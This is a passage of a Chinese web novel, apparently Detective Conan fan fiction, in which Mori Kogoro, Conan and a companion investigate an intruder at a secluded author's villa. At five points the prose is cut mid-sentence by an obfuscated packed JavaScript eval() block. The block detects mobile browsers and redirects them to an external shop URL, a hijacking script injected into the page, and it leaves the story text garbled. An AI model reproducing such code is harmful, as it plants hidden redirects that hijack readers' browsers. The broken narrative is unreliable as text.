“那是因为要改编成电视剧了,”柯南吐槽道:“所以媒体铺天盖地开始宣传起来。结果反而将推理的部分弱化了。”他将书掩上。 还真是喜欢推理呢,这孩子。毛利兰在内心想。 裴真瞥了一眼这书的的封面,只见上面画有一位穿着白裙的女人,她赤脚站立,长长的黑发寂寞又冷清地吹在风中。几个黑红色的艺术字体刻印在她的右方,与发尾缠绕在一起。 ——《月光盛诞》 汽车就要绕过一个弯,毛利小五郎胸中的闷气还未全消,他一打方向盘,前方的灯光从路边的草丛中一扫而过,突然,一张恐怖狰狞的脸就这样闯入他的眼帘,他的心陡然一紧,瞳孔骤缩,脚下猛踩刹车,刺耳的摩擦声回响在黑夜中。 安全带制止了他们猛然往前倾倒的身体,柯南手中的书掉落在地,毛利兰惊呼出声,裴真也差点拿不稳手中的手机。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175939|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“怎么了,爸爸?” 小五郎先是惊惧,但很快,他就反应过来,愤怒爬上了他的脸。“别动,小兰。”他这么说着,自己却很快就下了车,车灯照出一片亮堂的地方,两边的草丛一片安静。 之前出现过人脸的地方什么都没有,就好像方才看到的,都是他的幻觉一样。但小五郎可不会怀疑自己,难道…… “刚才有人蹲在这里呢。”稚嫩的声音在他耳边响起。小五郎立刻意识到了什么,接连的意外让他再也抑制不住自己的怒火。 “嗷!”柯南眼泪汪汪地捧住自己被锤的头。 “我不是让你们好好地待在车上吗?”发泄出来的毛利小五郎毫不客气地吼了出来。 “哈哈,可能这孩子是担心你的安危吧。”裴真跟在其后,说着自己也不相信的话。 “哼!”见是钓友的孩子,小五郎不好在训斥。他嫌弃地看向柯南。 柯南却已经发现了一些东西。“这里的草丛被踩过,还有,这里的气味……”他敏锐地察觉到了异样,手指在一片草叶的叶边轻轻划过,暗色沾染上他的指腹,“这是……” “是血。”他在心里暗暗说,“还很新鲜,刚流出来没多久。” 受了伤却不跑出来求救,反而转身就跑,这躲藏在这里的家伙,是什么来历? “真是晦气,”小五郎嘟嘟囔囔:“租了这辆车,就没碰到好事,一定是那店老板把霉运传染给我了。” 柯南转头望去,四周一片漆黑。这座山是距离城市非常偏远的山脉,附近住的人很少,山脚下的聚居地也只有几十户的人家,在来之前他询问过了,一些日常要用的物品,他们都要特地开车去镇上运来。这些人自给自足,大都开垦了田地,为自己种植了粮食。 “还待在那做什么?”毛利小五郎不耐烦对柯南道:“快些上山,谁知道山里面还会不会有野猴子之外的东西跑出来?” “野、野猴子?”柯南豆豆眼。 “小五郎先生认为刚才是野猴子躲在草堆里偷看我们呢,”不知何时,裴真已经更靠近过来,他说:“山里的猴子野性难驯,在碰到人上山时,总是会趁他们不注意,偷偷拿走东西,而有些一旦被发现,甚至不再隐藏,反倒光明正大地开始抢夺起来,划伤人也是常有的事。” “不,不对!”柯南在心里说,“猴子没有那么大,而且,”他拨开一簇离得稍远些的野草:“也不会留下半个人的脚印!” 6. 第 6 章 一行人又重新上了车。区别在于裴真是主动回到的车上,而柯南则是被毛利小五郎拎着回到车上,迎着兰担忧的目光,柯南下意识地将刚才的发现吞咽了回去。 裴真知道柯南刚才绝对是发现了什么,但他同样什么也没说,在见到这些人的第一眼,他便知道,自己的这一趟恐怕难以平静。他想的是,自己在这之中应该做些什么。 剩下的行程便在这安静的氛围中结束了。小五郎将汽车驶进一条石子小道的时候,天已经彻底暗了下去,出现在他们眼前的,是一座古老高大的别墅,兼具东方与西式的神秘与典雅,坐落在无人的山林中,被密林与黑暗环绕着,从窗口中透露出的昏黄的灯光,透露出一种诡谲的幽暗感。 “啊,这栋别墅……”从车子上下来后,小兰望着这房屋,一派若有所思。 “很像不是吗?”一道男声从她的侧面响起来,一行人连忙往旁边看去。 是一位穿着针织衫,外套深蓝羽绒服的男性,他身后背着一个包,胸前套着一台大镜头的照相机,看大家的神情略带些清爽,“就像是作家在书中写的一样,”他轻声说:“‘这是我的安乐堡,是我在纷乱尘世中的最后一条退路……’” “‘我希望能带着我的她,一起在这远离人间的王国中度过最后一段时光。’”小兰接着说道。 二人双目对上,面上各自露出同为书友的笑。 裴真已经注意到某位小醋王露出了不爽的表情,并跃跃欲试地想要插入其间。而就在这个时候,大门吱呀一声打开,一位穿着管家服的老人快速从里面走了出来,身边伴随着一位年轻的女仆。 老人很有礼节,动作虽快,但丝毫不乱。他的鬓发已经染上银色,被整齐地梳拢往后,身姿高大挺拔,比身旁的女仆要高出一个多头。他走过来时,面上带着深切的歉意,待到临近了,就深深躬身道:“耽搁诸位客人们了,让各位深夜驱车而来,是我的失职。” 毛利小五郎斜眼看他,他不客气道:“说是邀请,你们这位置还真是难找啊。” 老管家连忙道:“是我们预估不足,各位都是为老爷作品而来的尊贵的客人,绝不存在怠慢的可能。”他用手臂为各位引路:“这边请,毛利先生……还有,”他扫视了一下众人,将裴真归为了与毛利同来的家属,“这位是稻田先生吧?” “是的,”带着相机的男人扬起手道:“我是《每日新闻》的记者稻田真司,这一次过来,是为了采访长川右介先生,长川先生的作品影视化,是现今最受关注的话题了。”他一边说着,还一边熟稔地给毛利小五郎递出名片:“另外,在这里能见到沉睡的名侦探毛利小五郎先生,也是我的荣幸。” 原本还有些不愉的毛利一听到赞扬,立马将烦恼丢开,摸着头哈哈大笑起来:“是吗,连新闻报社的记者也都听说过我吗?” 裴真若有所思地看着出来欢迎的两人,一旁的柯南注意到他的视线,也将目光投向了他们。 管家一言一行皆有尺度,话题很好地被他引到了自家老爷身上,还将他们现在所身处的别墅简单介绍了一遍,而那位女仆则垂着手,看不出异样。 “……这间别墅建成是在1938年,当时的长川先生是老爷的父亲,通过和美国人做生意,赚了一些钱,就想要修建一座可以规避战争的房子……” 这确实是一座有些历史的房屋,不论是屋内的装饰还是布置,都有着过去时代的影子,各处细节都被维护得很好,可见主人家对它的在意。 “当时动用了很多工人,建成时美轮美奂,长川老先生就带着一家住进了这里,所以说,老爷的幼年和少年时期都是在这里度过的。这大概也是老爷写出那本书的灵感……。” “真是笑死了!”没待他继续说下去,一声尖刺的女声便从前面上方响起,众人一起看去,见到是一位高个子的女人站在木质的楼梯上看他们,她穿着一身长袖的衬衣,肩上披着一件小西装,面上画了不浓不淡的妆,她讥讽道:“谁想知道什么山里老房子的事啊!还有,你们老爷还在书中说,他所有的灵感来源都是来自于他的缪斯,现在就牵扯到房子上面来了?” 老管家先是问候:“原来是编辑阁下,您已经洗梳好了?正好毛利先生和稻田先生也到了,我已经吩咐厨房做了些夜宵,罗织小姐可要享用一些?” “够了!”罗织厉喝一声:“房子建在这种鸟不拉屎的地方,开车都要花费几小时就算了,我们都已经过来这么久了,长川右介还不露面,他人呢?只让你这个管家出来迎接,这就是他的待客之仪吗?” 众人面面相觑,心中竟觉得她说的有几分道理。 管家面不改色:“老爷的身子有些不适,他已经几天没有见过人了。他委托我来招待诸位,如果有什么不适的,请尽管和我说……” “呵呵,”名为罗织的女人还想要说些什么,从她的身后就闪现出另一道身影:“身体不适也是没办法的事,长川先生的年龄也大了,好好休息也是应该的。”这是一位有些俊朗的男人,他戴着一副宽框的眼镜,面上笑容颇为温和,“我们只是等得有些急了,出版社的事有些多,所以才一时激动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175940|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “理解理解,”老管家也笑道:“各位还请随我来,晚间夜宴就在前面,如果不想进餐,只想休息,也会有人为你们带去安寝的地方。爱莉,”他吩咐身边的女仆:“引路的事就交给你了。” “是。”名为爱莉的女仆低头应答,她走到众人身边,等候着他们的选择。 毛利小五郎决定去餐厅大吃一顿,最好还有些好酒供他引用,他看向自己的女儿,小兰倒是有些累了,想去收拾一下入睡,但她还要考虑柯南的情况。 柯南反倒是望向裴真:“那天野哥哥呢?” 裴真一直都没有说话,这段时间内的存在感就一直不大,也就柯南始终在关注他。 “我?”裴真犹豫了下,他看了一下周边的人,还是道:“来之前我已经吃了些东西,又赶了那么久的路,我还是先去休息吧。” 小兰好似松了口气:“那我也……” 她的话还没有说完,从前方的通道中就急匆匆地赶过来一个人。他身形微胖,穿着一身灰色的格子西装,一边走还一边拿着一条丝巾擦汗,看到众人,他先是愣了下,然后立刻熟练地挂上了笑:“原来大家都来了啊,这两位一定就是新知出版社的朋友了。” 之前戴眼镜的男人也熟稔地露出职业性的笑容:“我的名字是高司启明,是新入职的编辑,这一位是我的前辈,罗织幸子女士,这一次过来,是为了长川老师作品改编的事。” 罗织幸子轻哼一声,没有阻止他的代为介绍。 “幸会幸会。”格子装男人同他握了握手,忽然,他看到了毛利小五郎,“哎呀,”他惊呼一声:“这绝对就是沉睡的小五郎先生了吧!我是朝日电视台的池田,池田义弘,见到您真是高兴,您每一次的破案报道我都有关注,真是太厉害了!睡梦中随随便便就把案子破了什么的,听起来简直就像是传说中的故事!” 小五郎的头立刻就高昂起来:“是吗?原来我这么厉害呀……哈哈,低调低调!” 一群成年人立马陷入了外交交际中。小兰连忙嘱托道:“爸爸记得不要喝太多酒。” “我知道了!”小五郎头也不回。 “这边请。”女仆在另一边引路。几人就跟了上去。 最后还剩下一个人在原地没有动。管家注意到了他,疑惑道:“稻田先生?” “这房屋实在很有故事当中的氛围,”稻田真司感兴趣道:“不介意我拍一些照片吧?” 管家想了下,点了点头:“这自然是可以的,除了最上层老爷的房间,您请随意就是。” 7. 第 7 章 大家各自分开。餐厅那边的奉承和交流声持续到了很晚的时间,直到第二天醒来的时候,那几人都还有些宿醉后的昏沉。 “该死,”毛利小五郎面色痛苦地撑着额头:“昨晚和那家伙一不小心喝的多了,连怎么回来的都迷迷糊糊记不清了。” 他一推开门,就见到小兰正生着气叉腰站在他面前,他的眼神游移了一下,立刻道:“哎呀,柯南那小子呢?都这么晚了,都没看到他,该不会是昨晚偷偷又跑出来了吧?” 他刚想要四处张望,就见柯南眨眼间从小兰身后钻了出来,并且,还用一种鄙视的目光看他,看得他瞬间血压就升高起来,“你这小鬼!” 小兰无奈叹气。她絮叨着说起话来。而这时,裴真也从隔壁的房间略带倦意地走出,柯南见状,就悄悄走到他身边,用疑惑不解的语气问他:“诶,天野哥哥,你昨晚也没睡好吗?” “是啊,”裴真不以为意:“新来一个地方,总是感觉有些不适应。” 他苦笑着说道:“可能是有些认生吧,现在回想起来,还总感觉我还是在奶奶老家那边似的,也不知道侦探这份职业我到底做不做得下去。” 柯南顿时就没有说话了,作为出道没多久,就立马成为高中生名侦探的他,这种烦恼从来就不曾在他脑海中存在过。此时不管说些什么,都感觉很奇怪。 餐厅还为他们留有早餐,其他几人早就到了,出版社的罗织女士和那位高司先生早已结束用餐,去了客厅歇息,现场只有那位电视台的池田职员正在大快朵颐,见到小五郎来了,他的眼睛亮了亮,连忙招手让他过去。 裴真随意选了几样看上去还不错的早点,再加上一杯牛奶,就算是他这一餐的食物了。 一切都发展得很平静,好似柯南那个所谓的“死神光环”只是前世观众的调笑。待到他们也去到了客厅,就见到出版社的那两位正在交流些什么,那位记者先生也在摆弄他的相机,昨天的时候他拍下了很多张照片,有室外的也有室内的,外面的阳光从窗户中照进来,稍微驱散了昨晚带来的寒意。 ………… “她的肌肤纯白又无暇,她的神色寡淡又苍白,她总是不说话,淡淡的样子,但每当我要她做些什么的时候,她都没有反驳过我。从她的身上,我体会到了身为一个男人最无上的痛快与欢愉,我几乎要与她一起溺死在这爱之河中了。可唯有一点她令我不满……” 旁边的交谈声打断了裴真沉浸般的阅读,是管家从门外走了进来,通知了他们一些有关午餐的事,似乎是与别墅主人有关的,一时有些嘈杂。 裴真将视线收回来,将书页翻了个面。 “……可有一天,她失踪了。我找遍了整个房子,才最终在别墅的最高楼的下方找到了她。她已是一具尸体,身体四分五裂,血浆凝固在她的躯壳上,像是穿了一件暗红的连衣长裙,恍若要去赴一场永远也赶不及的晚会。不变的是她依旧凝住着我的眸子,淡淡的,像当日的月光那般平和冷清,又有说不出的温柔。” “我抱着她,心魄俱丧,我竟失去了她,失去了我的半身!这就是上天给我降下的惩罚吗?我不能认可,我一定要找出是谁杀了她,我要让他付出代价!” 这书是裴真从柯南那边借过来的,文笔其实挺不错,故事衔接的也挺好,后面的转场在当初那个年代也算是有构思,无怪乎能拿到奖项。 有人走了过来,高跟鞋底踩踏在木制地板上,发出轻轻的闷响声。“你在看这本书?”是昨天那位出版社的女编辑,她今天的态度依旧冷淡,但好歹没那么尖锐。她从口袋中掏出一根烟来,对着窗口点燃吐息,“看着写得还挺不错的吧?” 裴真想了想,没有否认她。 罗织幸子忽而笑了,她点了点烟,任由烟灰从窗台落下:“当年有人说,这是长川右介特意为自己过世妻子写出的书,他的妻子美丽又动人,却因为一场意外离世,这件事带给他很大的打击,他一蹶不振了很久,最后才在一场梦里,与他的妻子再次相聚。等他再醒来,这本书就在他的脑子里构思成了。” 罗织幸子暼了他一眼:“而之所以这本书的前半部分能那么生动,那是因为,那些本就是他与他妻子之间相处的日常。他们一起在这栋房子里生活,没有争吵,没有一切世俗的烦恼,只有无尽看不到终点的幸福。用他的话来说就是,‘这是我牺牲的圣所,是避世的圣地,但后来,就完全是我与她编织成的爱的巢穴了’。” 说完这些,她突然沉默了下来,她眯起了眼睛,将某种繁杂冷漠的思绪掩藏其中。她好像只是过来舒口气,好似只是站在这栋房子里,就给了她某种无形的压力。她不在意自己在同谁说话,她只是想要张开口。 “你知道吗,年轻人,”她说:“如果你要学毛利先生一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175941|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当侦探,那么,有些人的话,只要诉诸于世了,就一个字也不要相信。” 过了好一会,另一边的交流才渐渐停歇下去,小兰领着柯南从那边走过来,与罗织幸子交错而过,这个女人没再理会他们任何一人,目不斜视地离开。 小兰有些好奇:“这位是罗织小姐吧,她刚才过来是……” “和我说了下书的事,”裴真道:“她似乎对书的作者长川右介有不一样的理解。” 小兰有些不明白。柯南则歪了歪头:“天野哥哥,这本书你看到哪里了?” “有看到凶手出场吗?”他兴致勃勃地问:“还是说没看到?那你猜到了吗?凶手的身份和作案手法……” “柯南,”小兰捂脸:“不要打扰别人看书的兴致!” 见到裴真没有露出不悦,她才不好意思道:“刚才管家过来告诉我们,长川老师会在中午的时候和我们一起共进午餐,一些工作上的事,他也会在下午的时候和我们各自解决。我们大概还要在这里再待上一天。” 裴真笑了下:“没关系,其实我要做的事已经做完了,不管什么时候离开都可以。” “诶,”柯南发觉要素,他双手负在脑后道:“天野哥哥的事务已经完成了吗?什么时候,我们怎么什么都不知道?” “只是很小的事哦,”裴真学着柯南将语调放得轻飘飘的,他摸了摸他的头:“只是确认下某个人的安危,和毛利大叔遇见的,都不是一类事呢。” 柯南虚着眼,虽然我的外表只是一个小孩子,但是,不要随便摸人家的头啊喂! 上午的时光过得很快,等到时间转到十一点多,众人就都已经坐在了桌子周围。厨房中正在烹饪即将端上桌的菜肴,大家都没有说话。 似乎是宿醉的原因,小五郎和那位电视台的池田精神有些不大好,罗织幸子抱着双臂,闭着眼睛一动不动,她的后辈,另一位编辑高司启明一只手撑着头,露出一丝疲意,坐在柯南旁边的稻田真司则小小地打了个哈欠。 柯南这才感觉到不对劲。他左右望了望,每个人都观察了下。“啊,不是,”他在心中高喊:“到底怎么回事,为什么好像除了我和小兰,你们每个人都一副昨晚没休息好的样子。你们就那么认生吗?还是说,这栋房子就那么不适宜睡觉?” 脚步声从楼梯上传来,众人精神一振,纷纷正襟端坐起来。 8. 第 8 章 管家先从上面下来,为自己侍奉的主人拉开椅子,静候他的入座。 长川右介是一位不苟言笑的老年人,他穿着一身灰色的和服,手中拄着一根精美的拐杖。他的皮肤有着老年人特有的褶皱,眼中是岁月走过留下的浑浊,他好似只是一位镌刻着一段历史的稳重老人,可当他从楼梯上缓慢走下,扫视众人的时候,某种不同就隐现而出。柯南注意到,在那浑厚的浑浊下,一种细微的东西在闪烁而过。 裴真感觉到了审视。这位将他们晾在这栋房子里一天的老人,看样子,并不与他书中那位内向却又散漫、天真而又冲动的主角相似。 “你终于下来了,”罗织幸子首先说:“再不出来,我还以为你后悔准备了这场商谈会呢!” 她好像并不打算改变自己之前的态度。微胖的池田擦起了汗,他连忙恭敬道:“听说长川老师正在构思他的新书,作家么,思考的时候总是需要时间和空间的,稍微等一会也是没什么的。” 你还真是看重你的这份工作啊,现场有人侧目,就是一会商谈改编协议时,希望你不要再这样软弱了,这样的话,是争取不到太多利益的。 长川右介态度缓和了下来,起码面上是这样的。他坐了下来,开始在管家的介绍下,与众人交流起来。 “……这位是近段时间最为有名的毛利小五郎先生,他接连破获了几起绑架与杀人案,是被冠以‘传说中的侦探’、‘睡梦中的捕获手’等诸多称谓的名侦探,您的作品改编,需要一位推理方面的名人作词介绍,相信毛利先生一定能胜任此职的。”管家这样介绍道。 听得这样的话,之前还有些恍惚的毛利小五郎立马就清醒过来,他高声笑着摆手道:“过誉了过誉了~” 其实他心里得意极了。 长川右介点点头,好像也很赞同管家的话,但等他开了口,话题就是一转:“听说你和写下了《暗夜伯爵》的工藤优作是生活中的好友?” 毛利小五郎脸上的笑容一僵。 长川右介继续道:“据说那家伙在很多年前就带着妻子去了国外,只留下他那个所谓的高中生侦探儿子一个人在这里生活?” 柯南歪了歪头,想到了什么,略微恍然。 “真是可惜,”长川右介悠悠叹息:“其实我在那年新书刚发布的时候,就给他送去了邀请函,只是那个时候他推脱了,这一次,他也没有过来。” 我就说嘛,柯南在心中想到,忽然无缘无故的,就给我“工藤新一”住的地方寄来那样一封邀请信,原来是爸爸的锅。 “其实他的职业才是更适合的,”长川右介自言自语地说:“就是不知道他最近有没有回国的打算,之前《暗夜伯爵》结束,他新的书有没有构思好。” 毛利小五郎彻底不笑了,现场的氛围也降了下来,半晌,忽听罗织幸子轻轻地,嗤笑了一声。 这次的聚餐很快就结束了,除开一开始还算不错的交流,之后的尴尬持续了整场宴席,若非是后来管家竭力舒缓气氛,恐怕一直到最后,众人都摆脱不了这古怪的氛围。 池田一直在擦着汗,在几人散开后,他没有立刻离开,而是留在了小五郎身边。等到确定了没有别墅中人后,他犹豫了好一会,才悄悄地靠近过来说:“你不要在意,长川右介对工藤优作的敌意是由来已久的。” “诶,为什么呀!”一道稚嫩的声音突兀从下方响起,池田吓了一跳,他仔细看去,原来是毛利带来的那个小男孩,不对,这家伙是从哪里钻出来的? “他们的年龄差了那么多,是怎么对上的?”柯南继续问。 毛利小五郎狠狠地瞪了他一眼,暂时也没有精力去教训他。 “咳,”池田咳嗽了下,将声音放低了一个声调:“正是因为年龄不在一个阶层,所以长川右介才更生气。据说当初,在《月光盛诞》之前,他还有另外一部作品,本来是很有机会获得推理大赏奖的,可惜碰上了刚刚成名的工藤优作。” “你想想,”池田八卦起来:“本来被一个小了自己十几二十岁的年轻人压下就够丢脸的了,结果那个年轻人之后还越来越有名,越来越有名,这怎么能不让人一想起来就生气呢?” 确实是这个道理,柯南暗自点头。他想了下,没有从父亲那里得到长川右介这个名字的记忆。 “但是人家工藤优作恐怕根本就不记得他了吧?”突然,又一个声音从旁边响起,吓了池田和毛利小五郎一大跳。他们一起望去,见到是那个端着相机的青年记者正有些不好意思地看着他们,而另一边,裴真的眼中闪着好奇,小兰则不好意思地撇开脸。 “你们……”池田 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175942|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些无语。 “我是很喜欢长川右介的这本书,但工藤先生的作品也很精彩,”稻田记者摸了摸头道:“可总的来说,还是工藤先生更具国际知名度的吧!” 见吸引住了这么多人的好奇心,池田也起了兴致:“听说,这是我听说的啊,当年长川之所以会娶他的那位夫人,就是因为,工藤优作选择了与女演员藤峰有希子结婚……” ………… 上川崎莲实。 这是那位夫人的名字。但别墅里的大家都更喜欢称呼她为莲实夫人。 莲实夫人实在是一位很好伺候的人。她不奢求华美的服装,珠宝首饰的数量也是恰好就行,她的外貌柔弱美丽,脾性温柔和气,甚至到了有些沉默的地步。她不仅拥有美貌,也有与之相称的才华,在演艺圈中,她刚出道就获得了极多的关注,后续演绎的几个角色,也给她带来了诸多奖项,她的前路星光璀璨,未来肉眼可见。 就是这样的她,在某一天突然决定嫁给他们老爷。 周围雾气涌了上来,原本熟悉的别墅被这雾气一笼罩,也变得稍微陌生了。广仁新知在这间房屋中生活了大半辈子。他的父亲是老老爷的仆从,后来升任成管家,而他一开始,便是被作为管家培养的。 长川家对他而言,就是一切。 所以当这一切开始变得陌生的时候,他的心底就生出了恐慌。他在无边的地上奔跑,搜寻,企图发现自己出现在这里的原因。直到他找到了一些熟悉的轮廓,他开心地奔上前去—— 那抹白色的身影就这样映入他的眼帘。 她站在很高很高的地方,高到他无论如何也飞奔不上去的程度。她穿着一件白色的、丝巾般薄薄的长裙,一小节小腿就这样暴露在月光下,黑色的长发在冷风中往后飞扬,她恍似抬头看了一眼月亮,那月亮便被她藏入了眼中,她终是笑了,然后张开双臂,一跃而下! “砰砰砰!”巨大的拍门的声音响彻在老管家耳边,他颤颤巍巍地睁开眼,那种心悸的感觉还纠缠在他身体里,始终不肯离去。他抚了抚胸口,有些疑惑:“我这是怎么了,怎么最近老是梦见那么久以前的事?” 他看向门口,门外人的叫喊声愈发急促。他仔细一听,瞳孔骤然一缩,连外衣也来不及披,就急匆匆赶上前去,一把将门打开。 9. 第 9 章 “爸爸你也真是的,”小兰一边提着灯,一边抱怨自己老是惹麻烦的父亲,她嘟嘟囔囔道:“哪有到别人家做客吃饭,结果晚上的时候吃多了,半夜突然醒过来肚子疼,还要人帮忙去找消食药的!” 小五郎苦恼着脸:“我也没想到啊。谁让那个叫长川左右介的,中午的时候阴阳怪气地同我说话,什么‘我觉得他的职业更适合啦’、‘去了国外也不知道有时间构思新书没’……”他学着长川右介的语调,故作滑稽地说话:“气的我什么也吃不下,结果晚上太饿了,一不小心就吃多了。” 他们二人行走在别墅的走廊里,这一层没有通灯,原本女仆小姐让他们在入口处等待,自己去里面的房子拿药,结果等了好久,也不见她回来,出于担心,他们想过去看一看。 “是走廊的尽头吧?”小兰有些不确定地问:“女仆小姐是这么和我们说的吧?” “应该是的,”毛利小五郎摸了摸下巴,“算了,我们直接问就是了。” “爱莉小姐,”他尝试着推门:“你在里面吗,爱莉小姐?” 奇怪的是,门内没有任何动静,之前被带进的灯光也不见了。 “我要进来了哦。”毛利小五郎觉得没有等下去的必要,早点拿完药,他也好早点去休息,半夜打扰女儿和别人,他也觉得怪不好意思的。 “砰!”里面忽而传来一道沉闷的撞击声,紧接着,是一道短促的尖叫。 毛利小五郎眉眼一竖,警惕瞬间拉满。“让开,小兰!”他意识到不对,低声喝道,而后一个高抬腿,重重踩踏在门板上,木门受不住冲击打开了,但还没等他看清里面的情况,一个黑影就旋风般迎面撞来! 毛利小五郎瞳孔一缩,他下意识地使用了柔道的技艺,想要阻挡这莫名的人影,但人影动作更快,他身形一晃,躲开小五郎的抓击,然后一道冷光闪过,小五郎闷哼一声,好似受了伤。 二者交错间,毛利瞥见了他竟有些熟悉的恐怖狰狞的脸。 “爸爸!”小兰心中一紧,她咬牙往来人身上袭去,来人略带狼狈地躲过,他颇为诧异地看了眼这小女生,但很快就毫不拖泥带水地往走廊外飞速逃去。 “兰,去看看爱莉小姐,再通知其他人,”毛利小五郎大声吩咐:“这个家伙太危险了,我不能任由他在这房子里作乱!” 说完他便朝着那人逃走的方向追赶而去。小兰狠狠点头,她跑进房间内,看到女仆爱莉正瘫坐在墙角根处,用手捂着头,一派恍惚的样子。 “你没事吧?”她着急地问。 女仆喃喃道:“他也是来找药的,他要我给他处理伤口,身上……身上是枪伤,我、我做不到,他就要我给他缠上绷带……” 小兰心下一颤,她忽然意识到,那个人比她想象中的还要危险。 “你在这里等着,或者去找个安全的地方躲藏,”紧急情况下,小兰比她自己预料的要镇定的多。“那个人或许是逃犯,我要去通知其他人。” 小五郎那边发出的动静很快就惊醒了更多的人。柯南推开门,他听见声音,又见小五郎与兰不在房内,拔腿就要往上面跑。裴真同样走出房门,他往上看了看,想了下,还是跟了上去。 在这种破案的剧场中,与主角分离,独自一人,或许才是更危险的事。 “咣当——”是玻璃碎裂的声音。裴真赶忙上前去,他看到一间房间被打开,里面是毛利小五郎和刚赶到的柯南,他们神色凝重地瞧着这破碎的窗户,下方是散落一地的碎片。 “是什么人?”裴真问。 毛利小五郎瞅了瞅外面的黑夜,“还记得我们在来的时候,路上停过一次车吗?” 柯南嗅了嗅空中的气味:“毛利叔叔是说,这人就是你见到的‘野猴子’吗?” 毛利瞪了他一眼:“他的那张脸,实在让我印象深刻。” “从这么高的地方跳下去,那个人真的没有事么?”裴真不解。 毛利思索起来:“他的武力很高,绝对受过特殊锻炼,手上还带了刀,恐怕不是一般人。” “这、这……”门外突然传来一道惊讶的声音,三人往那边望去,见到是女仆正站在门口,虚扶在门框上,她面上满是骇然:“这是长川老爷的房间!”她惊声尖叫道。 这便是在今夜短短一段时间内发生的事。在发现长川右介失去踪影后,毛利小五郎和柯南立即决定继续往外追击,而老管家打开门,见到的就是第一时间来通知他的小兰几人。 “居然混进了这么一个穷凶极恶的人吗?”老管家的脸色很难看。噩梦带来的沉重感让他的脸色十分苍白,他当机立断道:“我立刻就过去。山里的林子很复杂,晚上的时候危险更多,不能让他们孤身去追逐凶人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175943|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的动作很快,只披上了一件衣服,换了双鞋,就要出门。剩下的几人中,池田义弘面色讪讪:“我,我就不去了吧。我身体不行,跑起来只会拖累你们。” 高司启明推了推眼镜:“你留下来保护她们也好。我刚才已经报了警,警察说这里距离太远了,可能要明天才能赶过来。相比较于等待,我更习惯将事情把握在自己手里,追的人多些,抓住那家伙的可能性就更大。” 说完他便看向裴真。裴真还以为今晚没自己什么事了,他实在很敬佩毛利小五郎和柯南面对案件勇往直前的精神,但在自己还没发育起来的现在,还有自己不喜急迫的性子,他觉着自己永远也不可能成为他们那样。 可他想到了昨晚……他叹道:“我也过去吧。” “人多力量大。”他强调。 夜晚的山林很冷,不只是空气冷,还有那种静谧森然的氛围。老管家急匆匆地拿着灯源奔行在丛草间,深秋狭长的草叶勾化过他的裤脚,像是锁链与刀剑,将一切妄图跨越过它们的人缠缚刺伤。 沿途有柯南留下来的标记,他们追踪而去,很快就见到了模模糊糊的身影。 “是谁?”小五郎看过来。 灯光蔓延而去,为这冷寂的夜晚添上一抹温度。“你们也过来了?”毛利小五郎讶异。 “这毕竟是长川家的事。”老管家喘息着说。 裴真看向了前方。 “应该是这边。”柯南也指向了那个方向。那个人实在是个反追踪的好手,简单设下的陷阱险些误导了他们好几次。 “那就过去吧。”小五郎肃然道。 他们继续往前行进。这边似乎是个很特殊的方位,密密麻麻的丛林在这里也变得稀疏起来,原本密不透风的黑暗被打破,银白色的光从树杈间、从交叠的叶子间,流泻般落下,形成了摇曳的斑点,亦或是朦胧的长带,风也寻隙进来,轻轻地在他们耳边说着话。 “这里是……”老管家的神情有些古怪。但还没等他说完,所有人就一下子撞进了一个十分开阔的地方。 